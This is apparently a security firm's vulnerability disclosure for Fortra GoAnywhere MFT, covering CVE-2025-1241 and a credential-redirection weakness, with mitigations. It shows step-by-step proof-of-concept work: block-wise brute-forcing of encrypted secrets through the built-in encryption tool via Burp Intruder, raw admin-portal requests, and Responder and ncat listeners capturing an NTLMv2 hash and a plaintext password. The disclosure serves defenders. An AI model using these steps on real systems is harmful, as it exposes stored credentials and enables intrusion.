Vulnerability Breakdown: Fortra GoAnywhere Secret Decryption CVE

On January 7, 2025 Robin Wolters from Bureau Veritas Cybersecurity discovered two vulnerabilities within the Fortra GoAnywhere MFT (Secure Managed File Transfer Software), one of them was recently awarded CVE-2025-1241.

The version used during these tests is GoAnywhere version 7.6.0 Build 44.

The product page of GoAnywhere MFT mentions the software can be used to Secure sensitive data, like PHI, PII, and card information, in motion and at rest. This means that a vulnerability could lead to a compromise or disruption of this sensitive data at customers of the GoAnywhere MFT software.

The identified vulnerabilities both lead to exposure of secrets that are stored encrypted. The first vulnerability allows an attacker to brute-force any stored encrypted secrets because of a weakness in the used encryption mechanism. The mechanism encrypts secrets using a block-cipher, in blocks of 8 characters. Because of this, brute-force attempts at the encrypted secrets can be done in blocks of 8 limiting the effective length of the original secret. Using a 24 character password would mean three blocks of 8 characters need to be brute-forced instead of a single 24 character password. The vulnerability also allowed an attacker to determine the approximate length of the secret, down to the block size, further limiting the strength of the encryption. This one is awarded CVE-2025-1241.

The second vulnerability allows an attacker to receive plaintext credentials from the system for previously configured resources. Resources can be configured with accounts for authentication to the remote resource. The password of this account is not shown to the user after initial configuration, it can be only be replaced by a new one. However, by editing the target address of the resource, the authentication of the resource can be redirected to a server under control of an attacker. With the proper configuration this malicious server can be configured to gather the credentials from the authentication, resulting in either the plaintext password or the credentials in a service specific format. This vulnerability was not awarded a CVE, as it is inherent to the way the secrets are used.

Scenario 1:
secret brute-forcing

When investigating the admin portal of GoAnywhere the Encryption Tool showed up. This tool allowed an administrator to encrypt plaintext passwords to securely use them as variables in projects. Playing around with the encryption tool showed interesting results:

12345678
1234567812345678
123456781234567812345678
12345678123456781234567812345678

Which resulted in the following encrypted strings:

*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=

The initial part of the encrypted string no longer changing can be an indication of using a block-cipher for encryption. This would mean that a secret could be decrypted in blocks of 8 instead of needing to brute-force the entire secret, severely limiting the effectiveness of password length.

The application was checked for usage of these encrypted strings. However, the instance which was being investigated did not use the encrypted strings for use in variables as suggested. Other places were inspected, such as the configuration files of the application. One example was the file database-2024-11-21-14-19-17.xml, which contained an encrypted string for the database connection:

*1:1ijs[REDACTED]THKA==

The approximate length of this password can be determined because of the used block-cipher. Using the encryption tool, new characters are added to the plaintext string until the encrypted output matches the length of the encrypted string (91):

1234567
*1:nxdAwBailruj46Be4+DAyA==
12345678
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
1234567812345678123456781
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
jZmTjkbe912yN/xOHF4j1A==
1234567812345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
CeobjfYj3HF2rsDkX/0udg==
12345678123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=

This shows the original input would be between 24 (123456781234567812345678) and 31 (1234567812345678123456781234567) characters.

Another example could be found in the resource connection. Although the application did not show the encrypted strings in the web console, it was possible to read them by exporting the configuration of a resource. A new SSH-server resource was created for the proof-of-concept of brute-forcing an encrypted string:

POST /goanywhere/resources/ConfigureResource.xhtml HTTP/1.1
Host: mft.REDACTED.nl:9000
Cookie: ASESSIONID=[...]
Content-Type: application/x-www-form-urlencoded

resourceForm%3AbtnSave=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3A
j_id_45%3A2%3Ata=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_4
5%3A3%3Atf=10.30.50.66&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj
_id_45%3A4%3Atf=8022&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id
_45%3A5%3Atf=Secura&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_
45%3A6%3Aef_pwd_hinput=44332211112233441324&[...]

The resource configuration was downloaded:

<?xml version="1.0" encoding="UTF-8" ?>
<resource class="com.linoma.ga.projects.resources.SSHResource">
	<resourceName>Secura testserver</resourceName>
	<domainName>Default</domainName>
	<resourceDescription />
	<host>10.30.XX.XX</host>
	<port>8022</port>
	<user>Secura</user>
	<password>*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/
XgGCEHBSSLVnh</password>

Using the method explained above, it was possible to determine the approximate length of the password, which was between 16 and 24 characters:

123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
44332211112233441324
*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
12345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9FTti437Mrc8Lm9kAqI5/YK
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==

The encryption tool was used in combination with Burp intruder to brute-force the encrypted string. As mentioned, brute-forcing was possible in sections of 8. So instead of having to crack a password of 24 characters, it was possible to crack 3 passwords of maximum 8 characters. The character space was limited to numbers only as this was an online brute-force attack against a live system.

The first section was cracked by looking at the first 24 characters of the encrypted output:

*1:5hiwElHNzJKgMS5gDUVO0wgSYOvW7qH5dXA/Pi73oGI=

First section of the password was cracked

The plaintext was subsequently added to the intruder configuration in front of the next section to brute force.

javax.faces.partial.ajax=true&javax.faces.source=j_id_26_a&
javax.faces.partial.execute=%40all&javax.faces.partial.render=j_id_28%3A
j_id_2b%3AencryptedOutput&j_id_26_a=j_id_26_a&j_id_28%3Aj_id_2b%3A
input_hinput=44332211§INPUT§&[...]

The next section was brute-forced until a match was found with the first 45 characters of the encrypted string.

*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh

The approach for the last section was slightly different, as we could not know whether the password was 16 or 23 characters long. This means that every length from 1 to 7 needed to be brute-forced:

Burp intruder setup used for cracking the final section

Finally, the last part of the password was cracked as well:

Final section of the password was cracked

Summary

This vulnerability allows an attacker to brute-force secrets used within the application in blocks of 8 characters. This limits the effective strength of the used secret and allows an attacker to gain access to configured resources such as SSH-servers, databases, fileshares or others. The following steps summarize the process:

Retrieve an encrypted secret from the application; for example by reading a configuration file or exporting a resource.
Authenticate to the portal with sufficient privileges to access the encryption tool.
Determine the approximate length of the secret using the encryption tool.
Use the method of choice to brute-force the secret via the encryption tool. This could be done using Hydra, Burp Intruder or a customer script.
Brute-force each block of encrypted secret to retrieve the original plaintext secret.

A CVSS score is included below as indication of the discovered vulnerability:

Indicative CVSS3.1 score of this scenario

Mitigation

Update the application to version 7.10.0. This patch was released on April 20, 2026. In general, limit the number of administrators based on principle of least privilege to prevent access to these kind of vulnerabilities.

Scenario 2:
plaintext secret transmission

Resources can be configured in the admin portal, such as SSH servers or Network Shares. These resources often require credentials that can be stored. It is not possible to read the (encrypted) password from the web interface:

The encrypted password of a resource is hidden from the user

A user with sufficient privileges is able to modify the resources. By changing the server address of a Network Share the authentication attempt can be redirected from the original server to a malicious server. The malicious server could monitor incoming authentication to capture them, for example with Responder:

$ sudo responder -I eth0 -A

[+] Servers:
    SMB server                 [ON]

[+] Listening for events...                                                        
[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.
[...]
[SMB] NTLMv2-SSP Client   : 10.7.255.101
[SMB] NTLMv2-SSP Username : TEST\secura
[SMB] NTLMv2-SSP Hash     : secura::TEST:6a6c638bcaee13bb:A5FF[...]0000

This hash can then be used in an offline brute-force attack to retrieve the configured password of the resource. Alternatively, some services could allow sending passwords that do not need to be cracked. One example would be for an HTTP(S) servers. A new HTTP server was created for the PoC and the ``Test'' feature was used to test the connection, and thus sending the stored password over the HTTP connection:

The HTTP server connection was tested, sending the password

The malicious server received the following connection from the GoAnywhere client:

$ ncat -lvp 8000
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 10.7.255.101:16047.
GET / HTTP/1.1
Connection: close
Authorization: Basic VGVzdDp0ZXN0cGFzc3dvcmQ=
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 10.30.50.66:8000

The base64 was decoded into the original username and password:

Test:testpassword

Summary

This vulnerability allows an attacker to retrieve unencrypted secrets from the application that are normally stored in encrypted form. Depending on the used protocol these secrets can either be received in plaintext or in a protocol-specific format. The following steps summarize the process:

Authenticate to the portal with sufficient privileges to access the resources.
Select a protocol and resource as target.
Set up a rogue server able to communicate over the target protocol which gathers authentication details; for example Responder can be used to collect SMB data.
Edit the resource to redirect the target address to the malicious server.
Use the Test functionality to receive an authentication attempt without saving the new settings.

A CVSS score is included below as indication of the discovered vulnerability:

Indicative CVSS3.1 score of this scenario

Mitigation

There will be no update available to prevent this method. Mitigating this behaviour would make administration of the application more difficult and less user-friendly. One possible solution would be to allow adding certificates to the configuration to ensure the identity of the target server. In general, limit the number of administrators based on principle of least privilege to prevent access to these kind of vulnerabilities.

Why choose Bureau Veritas Cybersecurity

Bureau Veritas Cybersecurity is your expert partner in cybersecurity. We help organizations identify risks, strengthen defenses and comply with cybersecurity standards and regulations. Our services cover people, processes and technology, ranging from awareness training and social engineering to security advice, compliance and penetration testing.

We operate across IT, OT and IoT environments, supporting both digital systems and connected products. With over 300 cybersecurity professionals worldwide, we combine deep technical expertise with a global presence. Bureau Veritas Cybersecurity is part of the Bureau Veritas Group, a global leader in testing, inspection and certification.